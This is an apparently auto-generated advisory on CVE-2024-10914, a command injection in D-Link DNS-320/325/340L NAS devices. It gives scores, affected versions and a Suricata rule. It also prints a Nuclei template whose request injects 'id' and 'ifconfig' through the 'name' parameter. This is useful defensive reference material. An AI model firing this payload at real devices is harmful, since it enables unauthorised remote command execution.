CVE-2024-10914: D-Link DNS-320 advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical. Affected by this vulnerability is the function cgi_user_add of the file /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. The manipulation of the argument name leads to os command injection. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used.

Description quoted from the CVE record (assigned by VulDB, published 2024-11-06).

Weakness: OS Command Injection; Injection; Improper Neutralization

How it can be exploited

Exploitable over the network with high attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Exploit-DB entry, 1 Nuclei template and 19 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 26 references on Exploit Observer

Live scores

EPSS: 0.975
very likely to be attacked soon
VEDAS: 0.988
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
D-Link DNS-320	version 20241028	Not stated
D-Link DNS-320LW	version 20241028	Not stated
D-Link DNS-325	version 20241028	Not stated
D-Link DNS-340L	version 20241028	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Dlink - Command Injection
A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been declared as critical.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{{command}};%27); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-10914.yaml

Show the template (45 lines)

yaml

id: CVE-2024-10914

info:
  name: "Dlink - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability was found in D-Link DNS-320, DNS-320LW, DNS-325 and DNS-340L up to 20241028. It has been
    declared as critical.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-10914&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=dlink&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10914
    cwe-id: CWE-707
  metadata:
    verified: false
  tags: cve,cve2024,dlink,sharecenter,rce,vkev,vuln
http:
  - raw:
      - |
        GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{{command}};%27 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      command:
        - "id"
        - "ifconfig"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body)"
          - "contains_all(body, 'inet addr:', 'Mask:')"
        condition: or

      - type: dsl
        dsl:
          - 'contains(body, "Content-type: text/html")'
          - "status_code == 200"
        condition: and

CVE-2024-10914.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-10914 Dlink - Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-10914 Dlink - Command Injection"; flow:established,to_server; http.uri; content:"account_mgr.cgi"; nocase; content:"'"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-10914; reference:url,https://www.exploit.observer/?keyword=CVE-2024-10914&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=dlink&match=exact; sid:1009628; rev:1;)

CVE-2024-10914.rules on GitHub

Advisories on this CVE

“ClingSTUN” Linux backdoor turns IoT devices into proxy nodes and hides its C2 inside public STUN traffic (full advisory)

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.